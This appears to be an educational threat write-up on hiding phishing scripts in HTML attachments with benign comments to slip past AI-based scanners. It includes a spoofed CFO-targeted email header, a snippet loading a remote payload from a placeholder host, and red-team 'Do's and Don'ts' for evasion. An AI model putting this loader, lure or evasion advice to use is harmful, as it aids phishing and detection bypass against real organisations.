Comment Stuffing in Phishing Attachments for AI Evasion

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

Campaign or TTP Overview

In recent months, cyber threat analysts have uncovered a novel phishing technique that primarily utilizes comment stuffing in HTML attachments to evade AI-based detection mechanisms. This method was detected in phishing campaigns targeting finance and healthcare sectors globally, capitalizing on the reliance of these industries on digital communication. The campaigns were orchestrated by a threat actor group believed to be leveraging automated tools for large-scale distribution.

These phishing attempts began surfacing in the fall of 2023, as noted in documented cases by numerous cybersecurity researchers, who observed a marked increase in HTML attachment-based phishing emails. The primary objective was to bypass sophisticated file analysis tools that organizations employ to detect phishing attempts by disguising malicious scripts within layers of benign-looking HTML comments.

According to a detailed write-up on the Internet Storm Center, the attackers were able to evade machine learning models that typically flag suspicious code patterns by blending malicious payload delivery with innocuous-looking comments to deceive rule-based scanning systems.

How It Was Built

The construction of the phishing attachment began with the creation of HTML files laden with legitimate-looking comments embedded within malicious scripts. The delivery mechanism primarily relied on spear-phishing emails with subject lines like “Year-End Financial Report Access Confirmation” and sender identities mimicking known service providers such as “admin@secure-financial.com”. These were crafted to target high-value employees capable of authorizing financial transactions.


Subject: Year-End Financial Report Access Confirmation

From: admin@secure-financial.com

To: CFO@targetedcompany.com

Date: Thu, 19 Oct 2023 14:32:00 +0000

Content-Type: multipart/related

Attachment: report_summary.html

The HTML attachment files themselves included a mixture of malicious scripts and strategically placed comments. By embedding benign placeholder text within critical segments of the malicious script, the attackers ensured that a cursory or automated scan would overlook the intention acting behind suspicious behavior.

Here is an example of how comments can diffuse detection:


&lt;html&gt;

&lt;head&gt;&lt;title&gt;Financial Report&lt;/title&gt;&lt;/head&gt;

&lt;body&gt;

<!-- This is a harmless placeholder comment -->

&lt;script&gt;

// Legitimate client-side script starts

var x = document.createElement('script');

x.src = 'http://malicious-server.com/payload.js'; // Load malicious script

document.head.appendChild(x);

// Harmless end of client-side comment

&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;

Why It Worked

The efficacy of this campaign lies in a few strategic choices. First, the use of familiar sender identities quickly lowered the recipients’ guard, aligning perfectly with standard organizational email patterns. Second, the embedding of legitimate-seeming comments amidst the malicious code disrupted AI pattern recognition capabilities, which often rely on detecting continuous strings of suspicious commands or identifiers.

Furthermore, the choice of subject lines such as “Year-End Financial Report” worked exceptionally well given the timing—close to typical end-year period activities, thus adding urgency and relevancy. These elements collectively minimized recipient hesitation and increased the likelihood of engaging with the attachment.

Obfuscation through comment stuffing requires minimal resources but achieves significant evasion against automated detection systems by masking intention behind complexity.

Operator Takeaways

For red team operators looking to simulate realistic phishing threats, the key takeaway from this campaign is the adaptable nature of comment stuffing. You can replicate this technique by tailoring comment permutation to match the syntax expected by specific target organizational filters while maintaining the integrity of the malicious payload. Test the interaction between comment positioning and detection tools to discover new evasion techniques.

Such exercises highlight the importance of understanding both the capabilities and limitations of an organization’s defensive architecture, thus modeling a more accurate risk assessment.

Do’s and Don’ts

Do: Customize sender identities and subject lines to align with current industry themes or critical business cycles.
Do: Utilize HTML standard comment structures innovatively to blend and hide script intentions.
Don’t: Rely solely on comment stuffing without considering the entire email delivery context—it works best in conjunction with social engineering techniques.
Don’t: Over-complicate comment insertion; simplicity in structure increases invisibility to basic heuristic filters.

References

Novel Phishing Tactic: Comment Stuffing in HTML Attachments

Phishing Techniques Explained